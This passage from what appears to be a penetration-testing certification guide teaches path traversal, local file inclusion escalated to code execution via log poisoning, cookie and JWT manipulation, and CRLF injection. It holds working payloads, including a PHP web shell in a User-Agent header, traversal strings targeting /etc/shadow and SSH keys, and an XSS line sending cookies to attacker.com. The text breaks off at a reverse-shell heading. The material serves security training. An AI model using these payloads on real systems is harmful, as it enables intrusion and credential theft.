href="#path-truncation-with-very-long-string" class="anchor"> </a> Path truncation with very long string: </h1> <p>/safe/path/../../../../../etc/passwd/[4096 characters of padding].jpg<br> `<code></code></p> <h4> <a name="path-traversal-to-lfi-to-rce" href="#path-traversal-to-lfi-to-rce" class="anchor"> </a> Path Traversal to LFI to RCE </h4> <p>In PHP applications, path traversal often escalates to Local File Inclusion (LFI), which can chain to Remote Code Execution:</p> <p><strong>LFI via Log Poisoning:</strong></p> <ol> <li>Apache access logs (<code>/var/log/apache2/access.log</code>) contain the User-Agent string</li> <li>Send a request with a PHP payload as the User-Agent: <code>User-Agent: <?php system($_GET['cmd']); ?></code></li> <li>PHP code is now stored in the log file</li> <li>Use LFI to include the log file: <code>?page=../../../var/log/apache2/access.log</code></li> <li>The PHP code in the log executes: <code>?page=...access.log&cmd=id</code></li> </ol> <p><strong>LFI via /proc/self/environ:</strong><br> The environment of the web server process (containing the User-Agent) may be accessible via <code>/proc/self/environ</code>:</p> <ol> <li>Set User-Agent to PHP payload</li> <li>Include <code>/proc/self/environ</code> via LFI</li> <li>PHP executes</li> </ol> <p><strong>LFI via PHP session files:</strong><br> PHP session files are stored in <code>/tmp/sess_[sessionid]</code>. If you can inject PHP code into your session data and then include the session file via LFI, you achieve code execution.</p> <hr> <h3> <a name="6103-practice-directory-traversal" href="#6103-practice-directory-traversal" class="anchor"> </a> 6.10.3 Practice — Directory Traversal </h3> <h4> <a name="testing-on-dvwa-file-inclusion-module" href="#testing-on-dvwa-file-inclusion-module" class="anchor"> </a> Testing on DVWA — File Inclusion Module </h4> <p>DVWA's File Inclusion module is the best starting point. At Low security, the page parameter includes files directly:</p> <p><code></code>`</p> <h1> <a name="view-the-url" href="#view-the-url" class="anchor"> </a> View the URL: </h1> <p><a href="http://127.0.0.1/dvwa/vulnerabilities/fi/?page=include.php">http://127.0.0.1/dvwa/vulnerabilities/fi/?page=include.php</a></p> <h1> <a name="basic-path-traversal-to-read-etcpasswd" href="#basic-path-traversal-to-read-etcpasswd" class="anchor"> </a> Basic path traversal to read /etc/passwd: </h1> <p><a href="http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd">http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd</a></p> <h1> <a name="on-windows-dvwa" href="#on-windows-dvwa" class="anchor"> </a> On Windows DVWA: </h1> <p><a href="http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini">http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..\..\..\..\..\Windows\win.ini</a></p> <h1> <a name="read-dvwas-configuration-file-reveals-mysql-credentials" href="#read-dvwas-configuration-file-reveals-mysql-credentials" class="anchor"> </a> Read DVWA's configuration file (reveals MySQL credentials): </h1> <p><a href="http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../config/config.inc.php">http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../config/config.inc.php</a></p> <h1> <a name="at-medium-security-filter-strips-once" href="#at-medium-security-filter-strips-once" class="anchor"> </a> At Medium security (filter strips ../ once): </h1> <h1> <a name="use-double-traversal-etcpasswd" href="#use-double-traversal-etcpasswd" class="anchor"> </a> Use double traversal: ....//....//....//etc/passwd </h1> <p><a href="http://127.0.0.1/dvwa/vulnerabilities/fi/?page=....//....//....//....//etc/passwd">http://127.0.0.1/dvwa/vulnerabilities/fi/?page=....//....//....//....//etc/passwd</a></p> <h1> <a name="at-high-security" href="#at-high-security" class="anchor"> </a> At High security: </h1> <h1> <a name="only-allows-files-starting-with-file-bypass-with" href="#only-allows-files-starting-with-file-bypass-with" class="anchor"> </a> Only allows files starting with "file" — bypass with: </h1> <h1> <a name="fileetcpasswd-file-protocol-for-local-file-access" href="#fileetcpasswd-file-protocol-for-local-file-access" class="anchor"> </a> file:///etc/passwd (file protocol for local file access) </h1> <p><a href="http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///etc/passwd">http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///etc/passwd</a><br> `<code></code></p> <h4> <a name="using-cadaver-and-dirb-for-web-server-file-enumeration" href="#using-cadaver-and-dirb-for-web-server-file-enumeration" class="anchor"> </a> Using Cadaver and dirb for Web Server File Enumeration </h4> <p><code></code>`bash</p> <h1> <a name="ffuf-for-path-traversal-fuzzing" href="#ffuf-for-path-traversal-fuzzing" class="anchor"> </a> ffuf for path traversal fuzzing: </h1> <p>ffuf -u "<a href="http://target.com/page?file=FUZZ">http://target.com/page?file=FUZZ</a>" \<br> -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \<br> -fw 10 # Filter by word count baseline<br> -mc 200 # Only show 200 OK responses</p> <h1> <a name="dotdotpwn-dedicated-path-traversal-fuzzer" href="#dotdotpwn-dedicated-path-traversal-fuzzer" class="anchor"> </a> dotdotpwn — dedicated path traversal fuzzer: </h1> <p>dotdotpwn -m http -h target.com -u "<a href="http://target.com/page?file=TRAVERSAL">http://target.com/page?file=TRAVERSAL</a>" \<br> -f /etc/passwd -d 8 -o unix</p> <h1> <a name="for-confirmed-traversal-systematically-read-highvalue-files" href="#for-confirmed-traversal-systematically-read-highvalue-files" class="anchor"> </a> For confirmed traversal, systematically read high-value files: </h1> <p>for file in "/etc/passwd" "/etc/shadow" "/etc/hosts" "/proc/version" "/proc/self/environ"; do<br> echo "=== $file ===";<br> curl -s "<a href="http://target.com/page?file=$(python3">http://target.com/page?file=$(python3</a> -c "print('../'*8)")${file}" 2>/dev/null;<br> done<br> `<code></code></p> <hr> <h3> <a name="6104-cookie-manipulation-attacks" href="#6104-cookie-manipulation-attacks" class="anchor"> </a> 6.10.4 Cookie Manipulation Attacks </h3> <h4> <a name="understanding-cookie-architecture-for-attack" href="#understanding-cookie-architecture-for-attack" class="anchor"> </a> Understanding Cookie Architecture for Attack </h4> <p>Cookies are the state management layer sitting on top of stateless HTTP. They are key-value pairs stored in the browser and sent to the server on every matching request. For web application security, cookies serve three main functions: session management (the session ID that proves authentication), user preferences (language, theme), and tracking (analytics identifiers).</p> <p>From an attacker's perspective, cookies are interesting because:</p> <ol> <li>They carry authentication proof — steal or forge them to impersonate users</li> <li>They carry state that the server trusts — modify them to manipulate server-side logic</li> <li>They can contain encoded data that the server processes — modify the encoding to change behavior</li> <li>They can carry JWTs — forge the token to claim different identity or privileges</li> </ol> <h4> <a name="attack-1-cookie-value-manipulation" href="#attack-1-cookie-value-manipulation" class="anchor"> </a> Attack 1 — Cookie Value Manipulation </h4> <p>Applications sometimes store sensitive state in cookies and make server-side decisions based on those values, trusting that users cannot or will not modify them. This trust is misplaced — users have full control over their own cookies.</p> <p><strong>Examples of vulnerable cookie patterns:</strong></p> <p><code></code>`</p> <h1> <a name="role-stored-in-cookie-critical-vulnerability" href="#role-stored-in-cookie-critical-vulnerability" class="anchor"> </a> Role stored in cookie (critical vulnerability): </h1> <p>Cookie: role=user</p> <h1> <a name="simply-change-to" href="#simply-change-to" class="anchor"> </a> Simply change to: </h1> <p>Cookie: role=admin</p> <h1> <a name="if-the-server-reads-the-role-from-the-cookie-without-serverside-validation" href="#if-the-server-reads-the-role-from-the-cookie-without-serverside-validation" class="anchor"> </a> If the server reads the role from the cookie without server-side validation: </h1> <h1> <a name="full-admin-access" href="#full-admin-access" class="anchor"> </a> Full admin access </h1> <h1> <a name="account-id-in-cookie" href="#account-id-in-cookie" class="anchor"> </a> Account ID in cookie: </h1> <p>Cookie: user_id=1042</p> <h1> <a name="change-to" href="#change-to" class="anchor"> </a> Change to: </h1> <p>Cookie: user_id=1 # Often the first admin account</p> <h1> <a name="boolean-flags" href="#boolean-flags" class="anchor"> </a> Boolean flags: </h1> <p>Cookie: is_premium=false</p> <h1> <a name="change-to" href="#change-to" class="anchor"> </a> Change to: </h1> <p>Cookie: is_premium=true</p> <h1> <a name="premium-features-unlocked" href="#premium-features-unlocked" class="anchor"> </a> Premium features unlocked </h1> <h1> <a name="email-address-determines-which-account-is-shown" href="#email-address-determines-which-account-is-shown" class="anchor"> </a> Email address (determines which account is shown): </h1> <p>Cookie: account=<a href="mailto:alice@example.com">alice@example.com</a></p> <h1> <a name="change-to" href="#change-to" class="anchor"> </a> Change to: </h1> <p>Cookie: account=<a href="mailto:admin@example.com">admin@example.com</a></p> <h1> <a name="or-another-users-email" href="#or-another-users-email" class="anchor"> </a> Or another user's email </h1> <p>`<code></code></p> <p><strong>How to test:</strong><br> In Burp Suite, intercept any request and examine all cookie values. For each cookie value that looks like it could be role-related, user-identifying, or feature-flagging:</p> <ol> <li>Modify the value to something more privileged</li> <li>Forward the modified request</li> <li>Observe whether the response is different</li> </ol> <p>This can also be done with the browser's DevTools (Application → Cookies → double-click to edit), or with the Cookie Editor browser extension.</p> <h4> <a name="attack-2-cookie-decoding-and-reencoding" href="#attack-2-cookie-decoding-and-reencoding" class="anchor"> </a> Attack 2 — Cookie Decoding and Re-encoding </h4> <p>Application cookies are often encoded (Base64, URL encoding) but not encrypted or signed. Decoding them reveals the underlying data structure, which can be modified and re-encoded.</p> <p><code></code>`bash</p> <h1> <a name="base64-decode-a-suspicious-cookie" href="#base64-decode-a-suspicious-cookie" class="anchor"> </a> Base64 decode a suspicious cookie: </h1> <p>echo "dXNlcjoxMDQy" | base64 -d</p> <h1> <a name="output-user1042" href="#output-user1042" class="anchor"> </a> Output: user:1042 </h1> <h1> <a name="modify-the-decoded-value" href="#modify-the-decoded-value" class="anchor"> </a> Modify the decoded value: </h1> <h1> <a name="user1-first-user-likely-admin" href="#user1-first-user-likely-admin" class="anchor"> </a> user:1 (first user, likely admin) </h1> <h1> <a name="reencode" href="#reencode" class="anchor"> </a> Re-encode: </h1> <p>echo -n "user:1" | base64</p> <h1> <a name="output-dxnlcjox" href="#output-dxnlcjox" class="anchor"> </a> Output: dXNlcjox </h1> <h1> <a name="use-modified-cookie-in-request" href="#use-modified-cookie-in-request" class="anchor"> </a> Use modified cookie in request: </h1> <p>Cookie: auth=dXNlcjox</p> <h1> <a name="if-no-signature-verification-server-uses-this-value-and-gives-admin-access" href="#if-no-signature-verification-server-uses-this-value-and-gives-admin-access" class="anchor"> </a> If no signature verification, server uses this value and gives admin access </h1> <p>`<code></code></p> <p><strong>Recognizing common encoded patterns:</strong></p> <p><code></code>`</p> <h1> <a name="base64-pattern-letters-numbers-padding" href="#base64-pattern-letters-numbers-padding" class="anchor"> </a> Base64 pattern: letters, numbers, +, /, = padding </h1> <p>YWRtaW4= → "admin"<br> dXNlcjoxMDQy → "user:1042"<br> eyJhbGci... → JWT (three base64 segments separated by dots)</p> <h1> <a name="urlencoded-json" href="#urlencoded-json" class="anchor"> </a> URL-encoded JSON: </h1> <p>%7B%22user%22%3A%22alice%22%2C%22role%22%3A%22user%22%7D<br> → Decoded: {"user":"alice","role":"user"}</p> <h1> <a name="serialize-formats-php-python-pickle-java" href="#serialize-formats-php-python-pickle-java" class="anchor"> </a> Serialize formats (PHP, Python pickle, Java): </h1> <p>O:4:"User":2:{s:4:"name";s:5:"alice";s:4:"role";s:4:"user";}<br> → PHP serialized object (deserialization vulnerability if untrusted)<br> `<code></code></p> <h4> <a name="attack-3-jwt-manipulation-in-cookies" href="#attack-3-jwt-manipulation-in-cookies" class="anchor"> </a> Attack 3 — JWT Manipulation in Cookies </h4> <p>Many modern applications store JWTs in cookies rather than localStorage (for HttpOnly protection). When you find a cookie containing a value that starts with <code>eyJ</code> (Base64 for <code>{"</code>) followed by a dot, you have a JWT.</p> <p>JWT-specific attacks in cookie context:</p> <p><code></code>`bash</p> <h1> <a name="decode-the-jwt-without-verifying-signature" href="#decode-the-jwt-without-verifying-signature" class="anchor"> </a> Decode the JWT (without verifying signature): </h1> <h1> <a name="install-jwttool" href="#install-jwttool" class="anchor"> </a> Install jwt_tool: </h1> <p>git clone <a href="https://github.com/ticarpi/jwt_tool">https://github.com/ticarpi/jwt_tool</a><br> cd jwt_tool && pip3 install -r requirements.txt</p> <h1> <a name="decode-and-display" href="#decode-and-display" class="anchor"> </a> Decode and display: </h1> <p>python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMDQyIiwicm9sZSI6InVzZXIifQ.xxx</p> <h1> <a name="test-algnone-attack" href="#test-algnone-attack" class="anchor"> </a> Test alg:none attack: </h1> <p>python3 jwt_tool.py eyJ... -X a</p> <h1> <a name="test-hs256-brute-force-weak-secret" href="#test-hs256-brute-force-weak-secret" class="anchor"> </a> Test HS256 brute force (weak secret): </h1> <p>python3 jwt_tool.py eyJ... -C -d /usr/share/wordlists/rockyou.txt</p> <h1> <a name="modify-claims-and-resign-with-known-secret" href="#modify-claims-and-resign-with-known-secret" class="anchor"> </a> Modify claims and re-sign with known secret: </h1> <p>python3 jwt_tool.py eyJ... -T -S hs256 -p "secret"</p> <h1> <a name="modify-change-role-from-user-to-admin-in-the-interactive-editor" href="#modify-change-role-from-user-to-admin-in-the-interactive-editor" class="anchor"> </a> Modify: change role from user to admin in the interactive editor </h1> <h1> <a name="jwttool-creates-a-new-token-signed-with-the-provided-secret" href="#jwttool-creates-a-new-token-signed-with-the-provided-secret" class="anchor"> </a> jwt_tool creates a new token signed with the provided secret </h1> <p>`<code></code></p> <h4> <a name="attack-4-cookie-scope-exploitation" href="#attack-4-cookie-scope-exploitation" class="anchor"> </a> Attack 4 — Cookie Scope Exploitation </h4> <p>The <code>Domain</code> and <code>Path</code> attributes of cookies determine where they are sent. Misconfigurations in these attributes can create security issues:</p> <p><strong>Overly broad Domain scope:</strong><br> A cookie set with <code>Domain=.example.com</code> is sent to all subdomains. If any subdomain has an XSS vulnerability, an attacker exploiting XSS on <code>vulnerable.example.com</code> can access cookies scoped to <code>.example.com</code> — including the session cookie for <code>app.example.com</code>.</p> <p><strong>Testing Domain scope:</strong><br> <code></code><code>javascript<br> // XSS payload on vulnerable.example.com:<br> // Try to read cookies from parent domain:<br> document.cookie // Shows cookies available at current domain including .example.com scope<br> fetch('https://attacker.com/steal?c=' + document.cookie);<br> </code><code></code></p> <p><strong>Path scope confusion:</strong><br> A cookie with <code>Path=/api</code> is only sent to requests under <code>/api</code>. If sensitive operations also occur at <code>/v2/api</code>, and the session cookie is scoped to <code>/api</code> only, the <code>/v2/api</code> requests have no session — potentially creating authentication bypass if the server incorrectly treats cookieless requests as authenticated.</p> <h4> <a name="attack-5-cookie-smuggling-via-header-injection" href="#attack-5-cookie-smuggling-via-header-injection" class="anchor"> </a> Attack 5 — Cookie Smuggling via Header Injection </h4> <p>If user-controlled input is used in setting a cookie (e.g., the application sets a cookie containing the user's username), and if special characters are not filtered, an attacker may inject additional headers or cookie directives through CRLF injection:</p> <p><code></code>`</p> <h1> <a name="if-username-is-reflected-in-setcookie-header" href="#if-username-is-reflected-in-setcookie-header" class="anchor"> </a> If username is reflected in Set-Cookie header: </h1> <h1> <a name="normal-setcookie-usernamealice-httponly-secure" href="#normal-setcookie-usernamealice-httponly-secure" class="anchor"> </a> Normal: Set-Cookie: username=alice; HttpOnly; Secure </h1> <h1> <a name="attacker-registers-username-alicernsetcookie-admintrue" href="#attacker-registers-username-alicernsetcookie-admintrue" class="anchor"> </a> Attacker registers username: alice\r\nSet-Cookie: admin=true </h1> <h1> <a name="resulting-headers-if-not-sanitized" href="#resulting-headers-if-not-sanitized" class="anchor"> </a> Resulting headers (if not sanitized): </h1> <p>Set-Cookie: username=alice<br> Set-Cookie: admin=true<br> `<code></code></p> <p>The server injects an additional <code>Set-Cookie</code> header controlled by the attacker. This is a header injection / CRLF injection vulnerability that uses cookies as the target.</p> <p><strong>Testing:</strong><br> In any username, display name, or profile field that might end up in HTTP response headers, inject CRLF characters:<br> <code></code><code><br> Test input: alice%0d%0aSet-Cookie:%20admin%3Dtrue<br> </code><code></code><br> Examine the response headers for injected headers.</p> <h4> <a name="comprehensive-cookie-testing-checklist" href="#comprehensive-cookie-testing-checklist" class="anchor"> </a> Comprehensive Cookie Testing Checklist </h4> <p><code></code>`<br> During every web application assessment:</p> <p>□ Capture Set-Cookie headers from all responses<br> □ For each cookie:<br> □ Are HttpOnly, Secure, and SameSite flags set correctly?<br> □ Is the Domain scope appropriate (not overly broad)?<br> □ Decode the cookie value (Base64, URL decode)<br> □ Is it a JWT? → Apply JWT testing methodology<br> □ Is it serialized data? → Test for deserialization vulnerabilities<br> □ Does it contain role, privilege, or user identification data?<br> → Test by modifying to higher privilege values<br> □ Regenerated after login? (Test session fixation)<br> □ Invalidated server-side after logout? (Test with replay)</p> <p>□ Test for CRLF injection if any user input appears in headers<br> □ Check cookie scope vs. application architecture<br> `<code></code></p> <hr> <p><em>— Sections 6.7, 6.8, 6.9, and 6.10 are complete. —</em></p> <hr> <h1> <a name="module-6-sections-611-612-and-613" href="#module-6-sections-611-612-and-613" class="anchor"> </a> Module 6 — Sections 6.11, 6.12, and 6.13 </h1> <blockquote> <p><strong>CompTIA PenTest+ / Ethical Hacking Certification Series</strong><br> <em>Professional Reference Guide — GitHub Edition</em><br> <em>File Inclusion · Insecure Code Practices · Race Conditions · APIs · Module Summary</em></p> </blockquote> <hr> <h2> <a name="table-of-contents" href="#table-of-contents" class="anchor"> </a> Table of Contents </h2> <ul> <li><a href="#611-exploiting-file-inclusion-vulnerabilities">6.11 Exploiting File Inclusion Vulnerabilities</a> <ul> <li><a href="#6111-overview--what-file-inclusion-is-and-why-it-leads-to-rce">6.11.1 Overview — What File Inclusion Is and Why It Leads to RCE</a></li> <li><a href="#6112-local-file-inclusion-lfi--the-complete-attack-chain">6.11.2 Local File Inclusion (LFI) — The Complete Attack Chain</a></li> <li><a href="#6113-remote-file-inclusion-rfi--serving-your-own-code-to-the-server">6.11.3 Remote File Inclusion (RFI) — Serving Your Own Code to the Server</a></li> </ul></li> <li><a href="#612-exploiting-insecure-code-practices">6.12 Exploiting Insecure Code Practices</a> <ul> <li><a href="#6121-overview--the-code-quality--security-relationship">6.12.1 Overview — The Code Quality → Security Relationship</a></li> <li><a href="#6122-comments-in-source-code">6.12.2 Comments in Source Code</a></li> <li><a href="#6123-lack-of-error-handling-and-overly-verbose-error-handling">6.12.3 Lack of Error Handling and Overly Verbose Error Handling</a></li> <li><a href="#6124-hard-coded-credentials">6.12.4 Hard-Coded Credentials</a></li> <li><a href="#6125-race-conditions">6.12.5 Race Conditions</a></li> <li><a href="#6126-unprotected-apis">6.12.6 Unprotected APIs</a></li> <li><a href="#6127-hidden-elements-and-client-side-controls">6.12.7 Hidden Elements and Client-Side Controls</a></li> <li><a href="#6128-lack-of-code-signing">6.12.8 Lack of Code Signing</a></li> <li><a href="#6129-additional-web-application-hacking-tools">6.12.9 Additional Web Application Hacking Tools</a></li> <li><a href="#61210-the-owasp-web-security-testing-guide">6.12.10 The OWASP Web Security Testing Guide</a></li> </ul></li> <li><a href="#613-module-6-summary--the-complete-web-application-security-picture">6.13 Module 6 Summary — The Complete Web Application Security Picture</a></li> </ul> <hr> <h2> <a name="611-exploiting-file-inclusion-vulnerabilities" href="#611-exploiting-file-inclusion-vulnerabilities" class="anchor"> </a> 6.11 Exploiting File Inclusion Vulnerabilities </h2> <h3> <a name="6111-overview-what-file-inclusion-is-and-why-it-leads-to-rce" href="#6111-overview-what-file-inclusion-is-and-why-it-leads-to-rce" class="anchor"> </a> 6.11.1 Overview — What File Inclusion Is and Why It Leads to RCE </h3> <h4> <a name="the-core-concept" href="#the-core-concept" class="anchor"> </a> The Core Concept </h4> <p>File inclusion vulnerabilities occur in applications that dynamically include files based on user-controlled input. The mechanism is most commonly found in PHP applications, where the language provides <code>include()</code>, <code>require()</code>, <code>include_once()</code>, and <code>require_once()</code> functions to insert one PHP file's contents into another during execution.</p> <p>The typical use case looks benign: a developer wants to load different page templates or modules based on user navigation:</p> <p><code></code><code>php<br> // A common PHP template system pattern:<br> $page = $_GET['page'];<br> include($page . '.php');<br> </code><code></code></p> <p>When the user visits <code>?page=home</code>, the server includes <code>home.php</code>. When they visit <code>?page=about</code>, it includes <code>about.php</code>. This pattern is convenient for developers who want modular, template-driven applications.</p> <p>The problem: there is no validation that the <code>page</code> parameter must be one of the intended values. An attacker can supply any value — a path to a sensitive file on the server, a URL pointing to a malicious script, or a traversal sequence that reads system files. The server executes whatever it includes.</p> <p>File inclusion differs from simple directory traversal (Section 6.10) in a critical way: <strong>directory traversal reads files and returns their contents as text. File inclusion executes files as PHP code.</strong> When a file is included via PHP's include function, its contents are parsed and executed by the PHP interpreter. This transforms a sensitive file read into potential Remote Code Execution.</p> <p>The distinction:</p> <ul> <li>Directory traversal: attacker reads <code>/etc/passwd</code> — sees user accounts</li> <li>Local File Inclusion: attacker includes <code>/etc/passwd</code> — PHP tries to execute its contents as PHP code (no execution result from this file, but demonstrates the mechanism)</li> <li>Local File Inclusion with code injection: attacker injects PHP code into a server log file, then includes that log file — <strong>full code execution</strong></li> </ul> <p>This escalation path — from file read to log poisoning to Remote Code Execution — is one of the most powerful attack chains in web application exploitation.</p> <hr> <h3> <a name="6112-local-file-inclusion-lfi-the-complete-attack-chain" href="#6112-local-file-inclusion-lfi-the-complete-attack-chain" class="anchor"> </a> 6.11.2 Local File Inclusion (LFI) — The Complete Attack Chain </h3> <h4> <a name="understanding-lfi" href="#understanding-lfi" class="anchor"> </a> Understanding LFI </h4> <p>Local File Inclusion (LFI) is when the file to be included exists on the same server as the application. The attacker cannot directly specify a remote URL but can traverse the local file system to include any readable file.</p> <p><strong>Vulnerable code:</strong><br> <code></code><code>php<br> <?php<br> $page = $_GET['page'];<br> include('/var/www/html/pages/' . $page . '.php');<br> ?><br> </code><code></code></p> <p>The developer assumes the user will only provide simple filenames like <code>home</code>, <code>about</code>, <code>contact</code>. The <code>.php</code> extension is appended automatically.</p> <p><strong>Basic LFI test:</strong><br> <code></code><code><br> ?page=../../../etc/passwd<br> </code><code></code><br> This resolves to: <code>/var/www/html/pages/../../../etc/passwd.php</code></p> <p>Wait — the <code>.php</code> extension is appended. <code>/etc/passwd.php</code> does not exist. The developer thought appending <code>.php</code> would prevent LFI. This is a partial mitigation that historically had bypasses.</p> <p><strong>Bypassing the .php extension append:</strong></p> <p><em>Null byte injection (PHP < 5.3.4):</em><br> <code></code><code><br> ?page=../../../etc/passwd%00<br> </code><code></code><br> PHP's <code>include()</code> treated the null byte as string termination. The path became <code>/etc/passwd\x00.php</code> — the <code>\x00</code> terminated the string before <code>.php</code> was added. This bypass is patched in all modern PHP versions.</p> <p><em>Path truncation (older PHP versions):</em><br> Very long path strings caused PHP to truncate the path at a certain length, dropping the <code>.php</code> extension. Not effective in modern PHP.</p> <p><strong>Modern LFI without extension issues:</strong></p> <p>Many real-world LFI vulnerabilities do not append extensions:<br> <code></code><code>php<br> <?php<br> $page = $_GET['page'];<br> include($page); // No extension appended<br> ?><br> </code><code></code></p> <p>Or the developer uses a switch/case structure but has a default case that includes user input:<br> <code></code><code>php<br> <?php<br> switch($_GET['page']) {<br> case 'home': include('home.php'); break;<br> case 'about': include('about.php'); break;<br> default: include($_GET['page']); // Fallthrough LFI!<br> }<br> ?><br> </code><code></code></p> <h4> <a name="phase-1-reconnaissance-through-lfi" href="#phase-1-reconnaissance-through-lfi" class="anchor"> </a> Phase 1 — Reconnaissance Through LFI </h4> <p>Once LFI is confirmed, the first phase is intelligence gathering through reading sensitive files:</p> <p><strong>Linux — High-Value Targets:</strong></p> <p><code></code>`</p> <h1> <a name="user-accounts-and-system-users" href="#user-accounts-and-system-users" class="anchor"> </a> User accounts and system users: </h1> <p>?page=../../../etc/passwd</p> <h1> <a name="password-hashes-requires-elevated-privileges-but-worth-trying" href="#password-hashes-requires-elevated-privileges-but-worth-trying" class="anchor"> </a> Password hashes (requires elevated privileges, but worth trying): </h1> <p>?page=../../../etc/shadow</p> <h1> <a name="internal-network-mapping" href="#internal-network-mapping" class="anchor"> </a> Internal network mapping: </h1> <p>?page=../../../etc/hosts</p> <h1> <a name="kernel-and-distribution-information" href="#kernel-and-distribution-information" class="anchor"> </a> Kernel and distribution information: </h1> <p>?page=../../../proc/version<br> ?page=../../../proc/sys/kernel/hostname</p> <h1> <a name="network-interfaces-and-connections" href="#network-interfaces-and-connections" class="anchor"> </a> Network interfaces and connections: </h1> <p>?page=../../../proc/net/dev # Network interfaces<br> ?page=../../../proc/net/tcp # Active TCP connections (hex encoded)<br> ?page=../../../proc/net/tcp6 # IPv6 TCP connections</p> <h1> <a name="web-server-process-environment-contains-credentials-and-tokens" href="#web-server-process-environment-contains-credentials-and-tokens" class="anchor"> </a> Web server process environment (contains credentials and tokens): </h1> <p>?page=../../../proc/self/environ</p> <h1> <a name="web-server-command-line-reveals-binary-and-arguments" href="#web-server-command-line-reveals-binary-and-arguments" class="anchor"> </a> Web server command line (reveals binary and arguments): </h1> <p>?page=../../../proc/self/cmdline</p> <h1> <a name="file-descriptors-reveals-open-files" href="#file-descriptors-reveals-open-files" class="anchor"> </a> File descriptors (reveals open files): </h1> <p>?page=../../../proc/self/fd/0<br> ?page=../../../proc/self/fd/1<br> ?page=../../../proc/self/fd/2</p> <h1> <a name="apache-web-server-configuration" href="#apache-web-server-configuration" class="anchor"> </a> Apache web server configuration: </h1> <p>?page=../../../etc/apache2/apache2.conf<br> ?page=../../../etc/apache2/sites-enabled/000-default.conf<br> ?page=../../../etc/apache2/sites-available/default-ssl.conf</p> <h1> <a name="nginx-configuration" href="#nginx-configuration" class="anchor"> </a> Nginx configuration: </h1> <p>?page=../../../etc/nginx/nginx.conf<br> ?page=../../../etc/nginx/sites-enabled/default</p> <h1> <a name="ssh-configuration-and-keys-if-web-server-runs-as-privileged-user" href="#ssh-configuration-and-keys-if-web-server-runs-as-privileged-user" class="anchor"> </a> SSH configuration and keys (if web server runs as privileged user): </h1> <p>?page=../../../root/.ssh/id_rsa<br> ?page=../../../root/.ssh/authorized_keys<br> ?page=../../../home/www-data/.ssh/id_rsa</p> <h1> <a name="cron-jobs-automated-scripts-often-with-credentials" href="#cron-jobs-automated-scripts-often-with-credentials" class="anchor"> </a> Cron jobs (automated scripts, often with credentials): </h1> <p>?page=../../../etc/crontab<br> ?page=../../../var/spool/cron/crontabs/root</p> <h1> <a name="log-files-critical-for-next-phase-log-poisoning" href="#log-files-critical-for-next-phase-log-poisoning" class="anchor"> </a> Log files (critical for next phase — log poisoning): </h1> <p>?page=../../../var/log/apache2/access.log<br> ?page=../../../var/log/apache2/error.log<br> ?page=../../../var/log/nginx/access.log<br> ?page=../../../var/log/auth.log<br> ?page=../../../var/log/syslog</p> <h1> <a name="applicationspecific-configuration" href="#applicationspecific-configuration" class="anchor"> </a> Application-specific configuration: </h1> <p>?page=../../../var/www/html/config.php<br> ?page=../../../var/www/html/.env<br> ?page=../../../var/www/html/wp-config.php # WordPress<br> ?page=../../../var/www/html/configuration.php # Joomla<br> ?page=../../../var/www/html/app/config/database.php<br> `<code></code></p> <p><strong>Windows — High-Value Targets:</strong><br> <code></code><code><br> ?page=..\..\..\Windows\System32\drivers\etc\hosts<br> ?page=..\..\..\Windows\win.ini<br> ?page=..\..\..\Windows\System32\config\SAM # (locked while running)<br> ?page=..\..\..\inetpub\logs\LogFiles\W3SVC1\u_ex*.log # IIS logs<br> ?page=..\..\..\xampp\apache\conf\httpd.conf<br> ?page=..\..\..\xampp\FileZillaFTP\FileZilla Server.xml # FTP credentials<br> ?page=C:\inetpub\wwwroot\web.config # IIS config<br> </code><code></code></p> <h4> <a name="phase-2-escalation-to-remote-code-execution-via-log-poisoning" href="#phase-2-escalation-to-remote-code-execution-via-log-poisoning" class="anchor"> </a> Phase 2 — Escalation to Remote Code Execution via Log Poisoning </h4> <p>Log poisoning is the most commonly successful LFI-to-RCE technique. It exploits the fact that web servers log request data — including the User-Agent header, the request URL, and parameters — and that PHP's include function executes any PHP code found in the included file.</p> <p><strong>The attack chain:</strong></p> <p><strong>Step 1:</strong> Confirm that LFI can read the Apache/Nginx access log:<br> <code></code><code><br> ?page=../../../var/log/apache2/access.log<br> </code><code></code><br> If the access log contents appear in the response, the attack is possible.</p> <p><strong>Step 2:</strong> Inject PHP code into the access log via a crafted HTTP request.</p> <p>The web server logs the User-Agent header from every request. If you send a request with a PHP web shell as the User-Agent, that PHP code is written into the log:</p> <p><code></code>`bash</p> <h1> <a name="using-curl-to-inject-php-code-into-the-useragent" href="#using-curl-to-inject-php-code-into-the-useragent" class="anchor"> </a> Using curl to inject PHP code into the User-Agent: </h1> <p>curl -A "<?php system(\$_GET['cmd']); ?>" <a href="http://target.com/">http://target.com/</a></p> <h1> <a name="what-gets-written-to-varlogapache2accesslog" href="#what-gets-written-to-varlogapache2accesslog" class="anchor"> </a> What gets written to /var/log/apache2/access.log: </h1> <h1> <a name="192168150-15jul2026103000-0000-get-http11-200-1234" href="#192168150-15jul2026103000-0000-get-http11-200-1234" class="anchor"> </a> 192.168.1.50 - - [15/Jul/2026:10:30:00 +0000] "GET / HTTP/1.1" 200 1234 </h1> <h1> <a name="-ltphp-systemgetcmd-gt" href="#-ltphp-systemgetcmd-gt" class="anchor"> </a> "-" "<?php system($_GET['cmd']); ?>" </h1> <p>`<code></code></p> <p><strong>Step 3:</strong> Include the log file via LFI to trigger PHP execution:<br> <code></code><code><br> ?page=../../../var/log/apache2/access.log&cmd=id<br> </code><code></code></p> <p>The PHP interpreter includes the log file, parses all content, finds the injected <code><?php system($_GET['cmd']); ?></code>, executes it with <code>cmd=id</code>, and the output appears in the response:<br> <code></code><code><br> uid=33(www-data) gid=33(www-data) groups=33(www-data)<br> </code><code></code></p> <p>You now have Remote Code Execution. From here, the path to a reverse shell is straightforward:</p> <p><code></code>`bash</p> <h1> <a name="get-a-reverse-shell-via-the-lfilog-poisoning-rce" 